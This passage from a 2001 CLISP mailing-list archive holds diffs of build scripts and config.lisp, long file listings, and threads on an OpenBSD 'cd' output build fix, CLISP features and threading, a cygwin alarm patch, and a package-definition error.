!       ABS_SRCDIR=`cd "$srcdir" > /dev/null; pwd`
        if [ "$DIRNAME" = "" ] ; then
          DIRNAME='.'
        fi
--- 249,262 ----
  else
    if test -f ./ANNOUNCE -a -f ./SUMMARY; then
      srcdir='.'
!     ABS_SRCDIR=`cd "$srcdir"; pwd`
      if [ "$DIRNAME" = "" ] ; then
        DIRNAME=src
      fi
    else
      if test -f ../ANNOUNCE -a -f ../SUMMARY; then
        srcdir='..'
!       ABS_SRCDIR=`cd "$srcdir"; pwd`
        if [ "$DIRNAME" = "" ] ; then
          DIRNAME='.'
        fi
***************
*** 268,287 ****
    if [ ! -d $DIRNAME ] ; then
      mkdir $DIRNAME
    fi
!   if
!     test `cd "$DIRNAME"/.. > /dev/null; $ABSPATHPWD` = \
!          `cd "$srcdir" > /dev/null; $ABSPATHPWD` ;
!   then
      REL_SRCDIR='..'
    else
      REL_SRCDIR="$ABS_SRCDIR"
    fi
  fi
! ABS_DIRNAME=`cd "$DIRNAME" > /dev/null; pwd`
! if
!   test `cd "$DIRNAME" > /dev/null; $ABSPATHPWD` = \
!        `cd "$srcdir"/src > /dev/null; $ABSPATHPWD` ;
!   then
    INPLACE=yes
  fi
  case "$REL_SRCDIR" in
--- 268,281 ----
    if [ ! -d $DIRNAME ] ; then
      mkdir $DIRNAME
    fi
!   if test `cd "$DIRNAME"/..; $ABSPATHPWD` = `cd "$srcdir"; $ABSPATHPWD` ; then
      REL_SRCDIR='..'
    else
      REL_SRCDIR="$ABS_SRCDIR"
    fi
  fi
! ABS_DIRNAME=`cd "$DIRNAME"; pwd`
! if test `cd "$DIRNAME"; $ABSPATHPWD` = `cd "$srcdir"/src; $ABSPATHPWD` ; then
    INPLACE=yes
  fi
  case "$REL_SRCDIR" in
***************
*** 350,362 ****
    # Create subdirectories for the modules parts, and fill them.
    # The modules outright assumes that $(srcdir)='.', hence all files need to
    # be linked over.
!   #for subdir in `cd modules > /dev/null ; find . -type d -print`
    #do
    #  if [ ! -d $ABS_DIRNAME/$f ] ; then
    #    mkdir $ABS_DIRNAME/$f
    #  fi
    #done
!   #for f in `cd modules > /dev/null; find . '!' -type d -print`
    #do
    #  rm -f $ABS_DIRNAME/$f
    #  link $f $ABS_DIRNAME/$f
--- 344,356 ----
    # Create subdirectories for the modules parts, and fill them.
    # The modules outright assumes that $(srcdir)='.', hence all files need to
    # be linked over.
!   #for subdir in `cd modules ; find . -type d -print`
    #do
    #  if [ ! -d $ABS_DIRNAME/$f ] ; then
    #    mkdir $ABS_DIRNAME/$f
    #  fi
    #done
!   #for f in `cd modules ; find . '!' -type d -print`
    #do
    #  rm -f $ABS_DIRNAME/$f
    #  link $f $ABS_DIRNAME/$f
***************
*** 557,559 ****
--- 551,554 ----
    cd ..
  
  fi
+ 
Only in .: configure~
Only in ./src: ANNOUNCE
Only in ./src: CLOS-guide.txt
Only in ./src: COPYRIGHT
Only in ./src: GNU-GPL
Only in ./src: LISP-tutorial.txt
Only in ./src: MAGIC.add
Only in ./src: Makefile
Only in ./src: README
Only in ./src: README.de
Only in ./src: README.es
Only in ./src: SUMMARY
Only in ./src: ansidecl
Only in ./src: ari80386.c
Only in ./src: ari80386.o
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Only in ./src: base
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Only in ./src: beossock.lib
Only in ./src: bindings
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Only in ./src: charset.alias
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Only in ./src: clhs.fas
Only in ./src: clhs.lib
Only in ./src: clisp-link
Only in ./src: clisp.1
Only in ./src: clisp.c
Only in ./src: clisp.dvi
Only in ./src: clisp.h
Only in ./src: clisp.html
Only in ./src: clos.fas
Only in ./src: clos.lib
Only in ./src: clreadline.3
Only in ./src: clreadline.dvi
Only in ./src: clreadline.html
Only in ./src: clx
Only in ./src: cmacros.fas
Only in ./src: cmacros.lib
Only in ./src: comment5
Only in ./src: compelem.c
Only in ./src: compiler.fas
Only in ./src: compiler.lib
Only in ./src: complete.fas
Only in ./src: complete.lib
Only in ./src: comptran.c
Only in ./src: condition.fas
Only in ./src: condition.lib
Only in ./src: config.cache
Only in ./src: config.fas
Only in ./src: config.lib
diff -cr ./src/config.lisp /usr/stuff/clisp-2.27/src/config.lisp
*** ./src/config.lisp	Wed Nov 28 15:21:31 2001
--- /usr/stuff/clisp-2.27/src/config.lisp	Tue Mar 27 18:13:19 2001
***************
*** 4,44 ****
  ;;; DEUTSCH: Funktionen, die beim Transportieren zu ändern sind
  ;;; FRANCAIS: Fonctions dépendantes de l'installation
  
! (in-package "EXT")
  (mapcar #'fmakunbound '(short-site-name long-site-name))
  
! (defun short-site-name () (or (sys::getenv "ORGANIZATION") "edit config.lisp"))
! (defun long-site-name () (or (sys::getenv "ORGANIZATION") "edit config.lisp"))
  
  ;; ENGLISH: The name of the editor:
  ;; DEUTSCH: Der Name des Editors:
  ;; FRANCAIS: Nom de l'éditeur :
! (defparameter *editor* "vi")
  (defun editor-name () (or (sys::getenv "EDITOR") *editor*))
  
  ;; ENGLISH: (edit-file file) edits a file.
  ;; DEUTSCH: (edit-file file) editiert eine Datei.
  ;; FRANCAIS: (edit-file file) permet l'édition d'un fichier.
  (defun edit-file (file)
!   (open file :direction :probe :if-does-not-exist :create)
!   (shell (format nil "~A ~A" (editor-name) (truename file)))
  )
  
! ;; ENGLISH: The temporary file LISP creates for editing:
! ;; DEUTSCH: Das temporäre File, das LISP beim Editieren anlegt:
! ;; FRANCAIS: Fichier temporaire créé par LISP pour l'édition :
! (defun editor-tempfile ()
!   (merge-pathnames "lisptemp.lisp" (user-homedir-pathname))
  )
  
! ;; ENGLISH: The list of directories where programs are searched on LOAD etc.:
  ;; DEUTSCH: Die Liste von Directories, in denen Programme bei LOAD etc. gesucht
! ;;          werden:
! ;; FRANCAIS: Liste de répertoires où chercher un fichier programme:
  (defparameter *load-paths*
!   '(#"./"           ; in the current directory
!     "~/lisp/**/"    ; in all directories below $HOME/lisp
! )  )
  
  ;; ENGLISH: This makes screen output prettier:
  ;; DEUTSCH: Dadurch sehen Bildschirmausgaben besser aus:
--- 4,80 ----
  ;;; DEUTSCH: Funktionen, die beim Transportieren zu ändern sind
  ;;; FRANCAIS: Fonctions dépendantes de l'installation
  
! (in-package "COMMON-LISP")
  (mapcar #'fmakunbound '(short-site-name long-site-name))
  
! (in-package "EXT")
! 
! (defun short-site-name ()
!   (let ((s (or
!              (system::registry "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
!                                "RegisteredOrganization"
!              )
!              (system::registry "SOFTWARE\\Microsoft\\Windows\\CurrentVersion"
!                                "RegisteredOrganization"
!              )
!        ))  )
!     (check-type s string)
!     s
! ) )
! (defun long-site-name ()
!   (let ((s (or
!              (system::registry "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
!                                "RegisteredOwner"
!              )
!              (system::registry "SOFTWARE\\Microsoft\\Windows\\CurrentVersion"
!                                "RegisteredOwner"
!              )
!        ))  )
!     (check-type s string)
!     s
! ) )
  
  ;; ENGLISH: The name of the editor:
  ;; DEUTSCH: Der Name des Editors:
  ;; FRANCAIS: Nom de l'éditeur :
! (defparameter *editor* "notepad.exe")
  (defun editor-name () (or (sys::getenv "EDITOR") *editor*))
  
+ ;; ENGLISH: The temporary file LISP creates for editing:
+ ;; DEUTSCH: Das temporäre File, das LISP beim Editieren anlegt:
+ ;; FRANCAIS: Fichier temporaire créé par LISP pour l'édition :
+ (defun editor-tempfile ()
+   "lisptemp.lisp"
+ )
+ 
  ;; ENGLISH: (edit-file file) edits a file.
  ;; DEUTSCH: (edit-file file) editiert eine Datei.
  ;; FRANCAIS: (edit-file file) permet l'édition d'un fichier.
  (defun edit-file (file)
!   (execute (editor-name) (namestring file t))
  )
  
! ;; ENGLISH: Treat Ctrl-Z in files as whitespace. Some losing middle-age
! ;;          editors insist on appending this to files.
! ;; DEUTSCH: Behandle Ctrl-Z in Dateien als Leerstelle. Einige dumme
! ;;          Steinzeit-Editoren bestehen darauf, das an Dateien anzuhängen.
! ;; FRANCAIS: Traite Ctrl-Z dans les fichiers comme un espace. Quelques
! ;;           éditeurs du moyen age n'arrêtent pas d'ajouter cela aux fichiers.
! (eval-when (load eval compile)
!   (set-syntax-from-char #\Code26 #\Space)
  )
  
! ;; ENGLISH: The list of directories where programs are searched on LOAD etc.
! ;;          if device and directory are unspecified:
  ;; DEUTSCH: Die Liste von Directories, in denen Programme bei LOAD etc. gesucht
! ;;          werden, wenn dabei Laufwerk und Directory nicht angegeben ist:
! ;; FRANCAIS: Liste de répertoires où chercher un fichier lorsqu'un répertoire
! ;;           particulier n'est pas indiqué :
  (defparameter *load-paths*
!   '(#"C:"               ; erst im Current-Directory von Laufwerk C:
!     #"C:\\CLISP\\...\\" ; dann in allen Directories unterhalb C:\CLISP
!    )
! )
  
  ;; ENGLISH: This makes screen output prettier:
  ;; DEUTSCH: Dadurch sehen Bildschirmausgaben besser aus:
***************
*** 51,57 ****
    "This returns the root URL for the Common Lisp HyperSpec.
  You can set the environment variable `CLHSROOT' or redefine this function
  in ~/.clisprc.  On win32 you can also use the Registry."
!   (or (sys::getenv "CLHSROOT") *clhs-root-default*))
! (setq *clhs-root-default*
!       ;; was "http://www.lisp.org/HyperSpec/"
!       "file:/usr/stuff/HyperSpec/")
--- 87,95 ----
    "This returns the root URL for the Common Lisp HyperSpec.
  You can set the environment variable `CLHSROOT' or redefine this function
  in ~/.clisprc.  On win32 you can also use the Registry."
!   (or (sys::getenv "CLHSROOT")
!       (let ((s (system::registry "SOFTWARE\\GNU\\CLISP" "CLHSROOT")))
!         (check-type s (or null string))
!         s)
!       *clhs-root-default*))
! (setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")
Only in ./src: config.lisp~
Only in ./src: config.log
Only in ./src: config.status
Only in ./src: constobj.c
Only in ./src: constpack.c
Only in ./src: constsym.c
Only in ./src: control.c
Only in ./src: control.o
Only in ./src: data
Only in ./src: debug.c
Only in ./src: debug.o
Only in ./src: defmacro.fas
Only in ./src: defmacro.lib
Only in ./src: defs1.fas
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Only in ./src: defs2.fas
Only in ./src: defs2.lib
Only in ./src: defseq.fas
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Only in ./src: defstruct.fas
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Only in ./src: describe.fas
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Only in ./src: dfloat.c
Only in ./src: disassem.fas
Only in ./src: disassem.lib
Only in ./src: dribble.fas
Only in ./src: dribble.lib
Only in ./src: dutch.fas
Only in ./src: dutch.lib
Only in ./src: edit.fas
Only in ./src: edit.lib
Only in ./src: editors.txt
Only in ./src: encoding.c
Only in ./src: encoding.o
Only in ./src: error.c
Only in ./src: error.o
Only in ./src: errunix.c
Only in ./src: eval.c
Only in ./src: eval.o
Only in ./src: ffloat.c
Only in ./src: flo_konv.c
Only in ./src: flo_rest.c
Only in ./src: floatprint.fas
Only in ./src: floatprint.lib
Only in ./src: foreign.c
Only in ./src: foreign.o
Only in ./src: foreign1.fas
Only in ./src: foreign1.lib
Only in ./src: format.fas
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Only in ./src: french.fas
Only in ./src: french.lib
Only in ./src: fsubr.c
Only in ./src: full
Only in ./src: genclisph.c
Only in ./src: genclisph.o
Only in ./src: german.fas
Only in ./src: german.lib
Only in ./src/gettext: config.h
Only in ./src/gettext: config.log
Only in ./src/gettext: config.status
Only in ./src/gettext/intl: Makefile
Only in ./src/gettext/intl: bindtextdom.o
Only in ./src/gettext/intl: charset.alias
Only in ./src/gettext/intl: dcgettext.o
Only in ./src/gettext/intl: dcigettext.o
Only in ./src/gettext/intl: dcngettext.o
Only in ./src/gettext/intl: dgettext.o
Only in ./src/gettext/intl: dngettext.o
Only in ./src/gettext/intl: explodename.o
Only in ./src/gettext/intl: finddomain.o
Only in ./src/gettext/intl: gettext.o
Only in ./src/gettext/intl: intl-compat.o
Only in ./src/gettext/intl: l10nflist.o
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Only in ./src/gettext/intl: libintl.h
Only in ./src/gettext/intl: loadmsgcat.o
Only in ./src/gettext/intl: localcharset.o
Only in ./src/gettext/intl: localealias.o
Only in ./src/gettext/intl: ngettext.o
Only in ./src/gettext/intl: plural.o
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Only in ./src: hashtabl.c
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Only in ./src: init.fas
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Only in ./src: intelem.c
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Only in ./src: intmal.c
Only in ./src: intparam.h
Only in ./src: intplus.c
Only in ./src: intprint.c
Only in ./src: intread.c
Only in ./src: intsqrt.c
Only in ./src: io.c
Only in ./src: io.o
Only in ./src: keyboard.fas
Only in ./src: keyboard.lib
Only in ./src: lfloat.c
Only in ./src: libavcall.a
Only in ./src: libavcall.la
Only in ./src: libcallback.a
Only in ./src: libcallback.la
Only in ./src: libcharset.a
Only in ./src: libcharset.h
Only in ./src: libcharset.la
Only in ./src: libiconv
Only in ./src: libiconv.a
Only in ./src: libiconv.la
Only in ./src: libintl.a
Only in ./src: libintl.h
Only in ./src: libnoreadline.a
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Only in ./src: libsigsegv.a
Only in ./src: libsigsegv.la
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Only in ./src: lispbibl.c
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diff -cr ./src/lndir /usr/stuff/clisp-2.27/src/lndir
*** ./src/lndir	Wed Nov 28 15:16:40 2001
--- /usr/stuff/clisp-2.27/src/lndir	Mon Apr  3 09:53:54 2000
***************
*** 31,37 ****
    srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'`
    test -n "$srcfile_dirname" || srcfile_dirname='/'
    srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'`
!   srcfile_absdirname=`cd "$srcfile_dirname" > /dev/null; pwd`
    ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null ||
      ln "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null ||
      cp -p "$srcfile_absdirname/$srcfile_basename" "$2"
--- 31,37 ----
    srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'`
    test -n "$srcfile_dirname" || srcfile_dirname='/'
    srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'`
!   srcfile_absdirname=`cd "$srcfile_dirname"; pwd`
    ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null ||
      ln "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null ||
      cp -p "$srcfile_absdirname/$srcfile_basename" "$2"
***************
*** 72,83 ****
  
  mkdirparent "$DST"
  
! for f in `cd "$SRC" > /dev/null; find . -type d -print`; do
    dir="$DST"`echo "$f" | sed -e 's,^\.,,'`;
    test -d "${dir}" || mkdir "${dir}"
  done
  
! for f in `cd "$SRC" > /dev/null ; find . -type f -print`; do
    f=`echo "$f" | sed -e 's,^\./,,'`
    link "$SRC"/"$f" "$DST"/"$f"
  done
--- 72,83 ----
  
  mkdirparent "$DST"
  
! for f in `cd "$SRC" ; find . -type d -print`; do
    dir="$DST"`echo "$f" | sed -e 's,^\.,,'`;
    test -d "${dir}" || mkdir "${dir}"
  done
  
! for f in `cd "$SRC" ; find . -type f -print`; do
    f=`echo "$f" | sed -e 's,^\./,,'`
    link "$SRC"/"$f" "$DST"/"$f"
  done
Only in ./src: lndir~
Only in ./src: locale
Only in ./src: loop.fas
Only in ./src: loop.lib
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Only in ./src/readline: bind.o
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Only in ./src/readline: config.log
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Only in ./src/readline: display.o
Only in ./src/readline/examples: Makefile
Only in ./src/readline: funmap.o
Only in ./src/readline: histexpand.o
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* William Harold Newman <william.newman@airmail.net>:

>   canonical_filename=`cd $foo; pwd`

Um.  Why not just do

 cd $foo   # With a &>/dev/null here, if it's really important.

and then

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?

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> * In message <20011128154319.B30912@rootless>
> * On the subject of "[clisp-list] building CLISP on OpenBSD"
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> A long time ago I reported that I couldn't get CLISP to build on
> OpenBSD. I've now figured out the problem.

Thanks!

> The basic problem is that the "sh" builtin command "cd" sometimes
> emits output,

ouch!

I committed a patch based on your suggestions.

please get the latest CVS sources and try building CLISP!

Thanks for your help - I hope you will get CLISP to bootstrap SBCL,
finally!

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Can somebody help me with this program? I would
appreciate it very much: 

Description
For this homework, you will need to download the Lisp
example program “GENETIC.CL” from
http://www.cs.washington.edu/research/metip/eaicl2.html.
All of your work should be done in this file. While
your work may be written and tested on any machine
using any Common Lisp, your program must load and run
successfully in CLISP on a CS UNIX machine for
complete credit.

 

1.        Write a new mutation (mutate3) that randomly
selects a position between 0 and 4 in the chromosome
and then rotates all of the cities to the RIGHT (not
left, as the handout originally stated) of the
position. Position 0 is before the first city,
position 1 is between city 1 and city 2, and so on.
For example, if you had the following chromosome:
     (portland spokane portland wenatchee spokane)
and you randomly chose position two (between spokane
and portland), then the mutation would be:
     (portland spokane wenatchee spokane portland)

.

2.    Write a new crossover (crossover2) that randomly
selects a position (x) between 0 and 4 in the
chromosome and a length (y) between 1 and (5 – x),
then replaces the y cities starting at position x in
chromosome B with the corresponding cities in
chromosome A. For example, if you had the following
chromosomes:
     A  (portland spokane portland wenatchee spokane)
     B  (seattle portland wenatchee bellingham
wenatchee)
and you randomly chose position two (between spokane
and portland) and length two, then the mutation would
be:
         (seattle portland portland wenatchee
wenatchee)

 

3.    Modify the code so that the new mutation and the
new crossover are considered along with the existing
two mutations and the one original crossover.

 





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> * In message <20011204170603.25604.qmail@web12104.mail.yahoo.com>
> * On the subject of "[clisp-list] help!!!"
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> Can somebody help me with this program?

no.
we do _not_ do you homework.

if you have specific problems with CLISP, we will certainly help.


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Hello.

I'm interested in developing some high performance lisp applications.  Much 
of the legacy code is in Allegro Common Lisp.

I have a few questions:

1) How much of ANSI Common Lisp is implemented in CLISP? 

2) Is it compatible with Franz Allegro?

3) How many CLISP users?

4) How many CLISP developers?

5) How stable is clisp?

6) What is your threading strategy?  Do you support native threads?  I want 
to take advantage of SMP machines. 

7) Has anybody ported/used clisp for linux on ppc?

8) Do you know of an ANSI Common Lisp test suite?

Okay, that's all for now.

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> * In message <01121015432908.11448@cube.syzygyx.com>
> * On the subject of "[clisp-list] High Performancs Clisp"
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> I'm interested in developing some high performance lisp applications.
if the code is numeric, you would be better off using CMUCL.
(not because CLISP is bad, but because CMUCL is exceptionally good there).
otherwise CLISP is a good choice.

> 1) How much of ANSI Common Lisp is implemented in CLISP? 

almost all.
see <http://clisp.cons.org/impnotes.html#d39e504> and
<http://clisp.cons.org/impnotes.html#clos-diff> for the release and
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/~checkout~/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#cl-symb>
for the current development version.

> 2) Is it compatible with Franz Allegro?

what do you mean?
wrt ANSI CL, quite compatible.
(but see <http://clisp.cons.org/impnotes.html#ansi>).
wrt Allegro extensions, no, but see
<http://www.podval.org/~sds/data/port.html>. 

> 3) How many CLISP users?

"How many CLISP users" _what_?
(many readers - including myself - are not native English speakers,
and correct syntax facilitates understanding :-).
the mailing lists have hundreds of subscribers.
see also <http://sourceforge.net/project/stats/?group_id=1355>

> 4) How many CLISP developers?

"How many CLISP developers" _what_?
<http://sourceforge.net/projects/clisp/>
Wanna join?

> 5) How stable is clisp?

quite stable and mature.
Yahoo store was implemented using CLISP.
other projects abound.

> 6) What is your threading strategy?  Do you support native threads?  I
> want to take advantage of SMP machines.

no working MT support at the moment (some docs and code only).
if you are a C hacker, you can implement MT for CLISP and earn some
money (around $2-5k) and lotsa fame.

> 7) Has anybody ported/used clisp for linux on ppc?

AFAIU, CLISP runs on linux/ppc out of the box.
(if it does not, porting CLISP is not usually hard).
<http://openmcl.clozure.com/> is another option.

> 8) Do you know of an ANSI Common Lisp test suite?

CLISP comes with one.
CLOCC/src/tools/ansi-test (<http://clocc.sf.net>) is derived from ours.

I hope others will chime in.

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I was asking about the number of users and developers to get a feel for the 
robustness of the "bazaar", if you will.  I find that there are many open 
source projects around, and a good metric for the quality of the software is 
often the number of users and the number of developers.  Sorry for any 
confusion.

I might be interested in assembling a MT implementation.  I'm also 
considering a similar task for a Java project.  I've always wanted to be 
famous!

A few more questions:

Are you the "official" gnu common lisp?  How do you relate to GCL?

How robust is your FFI?  Do you have a "cbind" like utility for parsing C 
headers?  Do you support shared objects? (Question asked without actually 
reviewing your documentation - sorry).

Dan  

On Monday 10 December 2001 04:26, Sam Steingold wrote:
> > * In message <01121015432908.11448@cube.syzygyx.com>
> > * On the subject of "[clisp-list] High Performancs Clisp"
> > * Sent on Mon, 10 Dec 2001 15:43:29 -0700
> > * Honorable "Daniel Charles McShan" <dan@syzygyx.com> writes:
> >
> > I'm interested in developing some high performance lisp applications.
>
> if the code is numeric, you would be better off using CMUCL.
> (not because CLISP is bad, but because CMUCL is exceptionally good there).
> otherwise CLISP is a good choice.
>
> > 1) How much of ANSI Common Lisp is implemented in CLISP?
>
> almost all.
> see <http://clisp.cons.org/impnotes.html#d39e504> and
> <http://clisp.cons.org/impnotes.html#clos-diff> for the release and
> <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/~checkout~/clisp/clisp/doc/
>impnotes.html?rev=HEAD&content-type=text/html#cl-symb> for the current
> development version.
>
> > 2) Is it compatible with Franz Allegro?
>
> what do you mean?
> wrt ANSI CL, quite compatible.
> (but see <http://clisp.cons.org/impnotes.html#ansi>).
> wrt Allegro extensions, no, but see
> <http://www.podval.org/~sds/data/port.html>.
>
> > 3) How many CLISP users?
>
> "How many CLISP users" _what_?
> (many readers - including myself - are not native English speakers,
> and correct syntax facilitates understanding :-).
> the mailing lists have hundreds of subscribers.
> see also <http://sourceforge.net/project/stats/?group_id=1355>
>
> > 4) How many CLISP developers?
>
> "How many CLISP developers" _what_?
> <http://sourceforge.net/projects/clisp/>
> Wanna join?
>
> > 5) How stable is clisp?
>
> quite stable and mature.
> Yahoo store was implemented using CLISP.
> other projects abound.
>
> > 6) What is your threading strategy?  Do you support native threads?  I
> > want to take advantage of SMP machines.
>
> no working MT support at the moment (some docs and code only).
> if you are a C hacker, you can implement MT for CLISP and earn some
> money (around $2-5k) and lotsa fame.
>
> > 7) Has anybody ported/used clisp for linux on ppc?
>
> AFAIU, CLISP runs on linux/ppc out of the box.
> (if it does not, porting CLISP is not usually hard).
> <http://openmcl.clozure.com/> is another option.
>
> > 8) Do you know of an ANSI Common Lisp test suite?
>
> CLISP comes with one.
> CLOCC/src/tools/ansi-test (<http://clocc.sf.net>) is derived from ours.
>
> I hope others will chime in.

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> * In message <01121017442504.12042@cube.syzygyx.com>
> * On the subject of "Re: [clisp-list] High Performancs Clisp"
> * Sent on Mon, 10 Dec 2001 17:44:25 -0700
> * Honorable "Daniel Charles McShan" <dan@syzygyx.com> writes:
>
> I was asking about the number of users and developers to get a feel
> for the robustness of the "bazaar", if you will.  I find that there
> are many open source projects around, and a good metric for the
> quality of the software is often the number of users and the number of
> developers.  Sorry for any confusion.

95th percentile on SourceForge (we are the top Lisp project there) is
in indicator.

I am not sure your metric is any good.
Perl wins in it. :-)

> I might be interested in assembling a MT implementation.  I'm also
> considering a similar task for a Java project.  I've always wanted to
> be famous!

Java already has threads built in.
I don't understand what you might mean.
At any rate, read src/xthreads.d and doc/multithread.txt if you are
interested. This _is_ a large task.

> Are you the "official" gnu common lisp?

GNU CLISP is a "GNU program", as is GCL.
The GNU project distributes both.

> How do you relate to GCL?

no relationship.
GCL is CLTL1, basically unmaintained now (but watch ECLS, which comes
from the same root).

> How robust is your FFI?

quite.  see <http://clisp.cons.org/impnotes.html#modules>.

> Do you have a "cbind" like utility for parsing C headers?

not really.  I have some CL code, but it's not finished.
See CLOCC/CLLIB/h2lisp.
See also
<http://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645>
what's cbind?

> Do you support shared objects?

yes.  see <http://clisp.cons.org/impnotes.html#dffi>

> (Question asked without actually reviewing your documentation -
> sorry).

it shows.

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OK.  The ualarm stuff is very new in cygwin - since my build of clisp - and
it wasn't quite right at first.

With:
 - cygwin-1.3.6-6, 
 - the clisp patches I posted a few weeks ago
 - the following hacks to
	- clisp-2.27/src/unix.d
	- clisp-2.27/src/unixaux.d 
I got a successful build.  Still one failure with "make check".

These patches just disables some cygwin support that is no longer required,
and removes a conflicting definition of ualarm.  Not a neat fix, but it is a
start.  

--- unixaux.d.orig	Tue Dec 11 14:50:00 2001
+++ unixaux.d	Tue Dec 11 15:43:48 2001
@@ -511,7 +511,7 @@
   }
 
 #
----------------------------------------------------------------------------
-
-
+#if 0
 # The library's alarm() function is just a dummy.
 
 #include <windows.h>
@@ -556,6 +556,7 @@
     alarm_thread = NULL; return 0;
   }
 
+
 global unsigned int alarm (seconds)
   unsigned int seconds;
   {
@@ -616,6 +617,7 @@
     }
     return remaining;
   }
+#endif
 
 #
----------------------------------------------------------------------------
-
 


-----Original Message-----
From: Dan Stanger [mailto:dan.stanger@ieee.org]
Sent: Monday, 10 December 2001 2:44 
To: Billinghurst, David (CRTS)
Subject: building clisp


Did you have a problem with ualarm?  Which version of cygwin did you
use?
Thanks,
Dan Stanger


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On Mon, 10 Dec 2001 15:43:29 -0700, Daniel Charles McShan wrote:

> 3) How many CLISP users?

I can't tell. But some users have developed high visibility applications,
such as Paul Graham with Yahoo! Store (formerly ViaWeb Store). Check the
success stories page at CLiki:

  http://ww.telent.net/cliki

A while and a half back Bruno asked users how they were using CLISP. I
don't know whether those messages are in the archive. If anybody is
interested, I can collect the most interesting replies and post them here.


> 4) How many CLISP developers?

Up to 4: Bruno, Michael, Pierpaolo and Sam. Maintainers: is this correct?


Paolo
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On Mon, 10 Dec 2001 17:44:25 -0700, Daniel Charles McShan wrote:

> I was asking about the number of users and developers to get a feel for the 
> robustness of the "bazaar", if you will.  I find that there are many open 

I think CLISP's bazaar is quite robust. I have been using CLISP since
around 1992, but the project started a few years earlier. CLISP has been
under regular development, with frequent new releases, at least since then.


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Paolo Amoroso <amoroso@mclink.it> writes:

> A while and a half back Bruno asked users how they were using
> CLISP. I don't know whether those messages are in the archive. If
> anybody is interested, I can collect the most interesting replies
> and post them here.

That would be interesting, yes.

Edi.


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I recently upgraded clisp to 2.27, from FreeBSD ports.  I'm not sure the 
previous version, but the package was dated 2000.03.06.  I'm still 
fairly new to lisp, so I may be missing some basic ideas here.

I'm using le-sursis as an html-generating library, but with the upgrade 
it's failing to work.  Here is the top of sursis-html.lsp:

(in-package 'sursis-html :use 'common-lisp)
(defpackage sursis-html
   (:use common-lisp)
   (:nicknames s-html)
   (:export sa-tag tag http-response html head title body p h1 h2 h3 h4
            h5 h6 b i tt center blockquote pre img br hr a anchor ol ul
            li dl dt dd table tr td comment))

The first error I get is
[22]> (load "sursis-html.lsp")
*** - IN-PACKAGE: argument 'SURSIS-HTML should be a string or a symbol

So I change the first line to
(in-package :sursis-html :use :common-lisp)

Now I get
[23]> (load "sursis-html.lsp")
*** - There is no package with name "SURSIS-HTML"

So I move the in-package below the defpackage.

Now I can load the package, and access it with explicit names, like 
(s-html:head), but I want it in my namespace. For some reason, using the 
symbol works here, but I get a big list of name conflicts:
[24]> (use-package 's-html)
** - Continuable Error
35 name conflicts while executing USE-PACKAGE of (#<PACKAGE 
SURSIS-HTML>) into package #<PACKAGE COMMON-LISP-USER>.
1. Break [25]>
which symbol with name "P" should be accessible in #<PACKAGE 
COMMON-LISP-USER> ?
Please choose:
           1  --  SURSIS-HTML
           2  --  COMMON-LISP-USER
 >>

And so on for all the exported symbols.  But if I choose #2 (or run 
clisp again)
[26]> (p)
*** - EVAL: the function P is undefined
[27]> p
*** - EVAL: variable P has no value

I looked through the changelog, but didn't find anything.  Can someone 
enlighten me?

Thanks
Adam



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  ...

> 
> > Do you have a "cbind" like utility for parsing C headers?
> 
> not really.  I have some CL code, but it's not finished.
> See CLOCC/CLLIB/h2lisp.
> See also
> <http://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645>
> what's cbind?

Yep.  What is 'cbind'.  Also, what are the differences between your
h2lisp and Cparse?

Cheers


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> * In message <13194706-EE43-11D5-A5BE-0003931B947E@dagobah.com>
> * On the subject of "[clisp-list] problems with packages"
> * Sent on Tue, 11 Dec 2001 06:26:32 -0800
> * Honorable Adam <clisp@dagobah.com> writes:
>
> (in-package 'sursis-html :use 'common-lisp)

this is a cltl1 form.
see CLHS <http://www.lisp.org/HyperSpec/Body/mac_in-package.html>

> (defpackage sursis-html
>    (:use common-lisp)
>    (:nicknames s-html)
>    (:export sa-tag tag http-response html head title body p h1 h2 h3 h4
>             h5 h6 b i tt center blockquote pre img br hr a anchor ol ul
>             li dl dt dd table tr td comment))

> So I move the in-package below the defpackage.

good.

> Please choose:
>            1  --  SURSIS-HTML
>            2  --  COMMON-LISP-USER
>  >>
> 
> And so on for all the exported symbols.  But if I choose #2 (or run
> clisp again)

you should have chosen #1.

okay, the short answer is that you should read a Lisp book (e.g., Paul
Graham's "ANSI CL").

a longer answer is that when CL sees the DEFPACKAGE form, it is in the
COMMON-LISP-USER package, so the :EXPORT args are read and interned
there.  (_before_ being interened and exported from SURSIS-HTML).
Thus conflicts.

TRT is _not_ to use plain symbols before the IN-PACKAGE form, unless you
do know what and why you are doing (and the rule is -- you never need
this).  Use strings, keywords or uninterned symbols.  I recommend
strings since they create least garbage.

So I would re-write the preamble as follows:

(defpackage "SURSIS-HTML"
    (:use "COMMON-LISP")
    (:nicknames "S-HTML")
    (:export "SA-TAG" "TAG" "HTTP-RESPONSE" "HTML" "HEAD" "TITLE" "BODY"
             "P" "H1" "H2" "H3" "H4" "H5" "H6" "B" "I" "TT" "CENTER"
             "BLOCKQUOTE" "PRE" "IMG" "BR" "HR" "A" "ANCHOR" "OL" "UL"
             "LI" "DL" "DT" "DD" "TABLE" "TR" "TD" "COMMENT"))
(in-package "SURSIS-HTML")

An alternative is:

(defpackage "SURSIS-HTML" (:use "COMMON-LISP") (:nicknames "S-HTML"))
(in-package "SURSIS-HTML")
(export '(sa-tag tag http-response html head title body p h1 h2 h3 h4
          h5 h6 b i tt center blockquote pre img br hr a anchor ol ul
          li dl dt dd table tr td comment))

the "preferred ANSI way" is to collect everything in the DEFPACKAGE
form, as in my first example.

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cbind is a (somewhat obscure) lisp tool distributed by Franz that parses a
C/C++ header file and generates macros (ff:bind-c-function) which ultimately
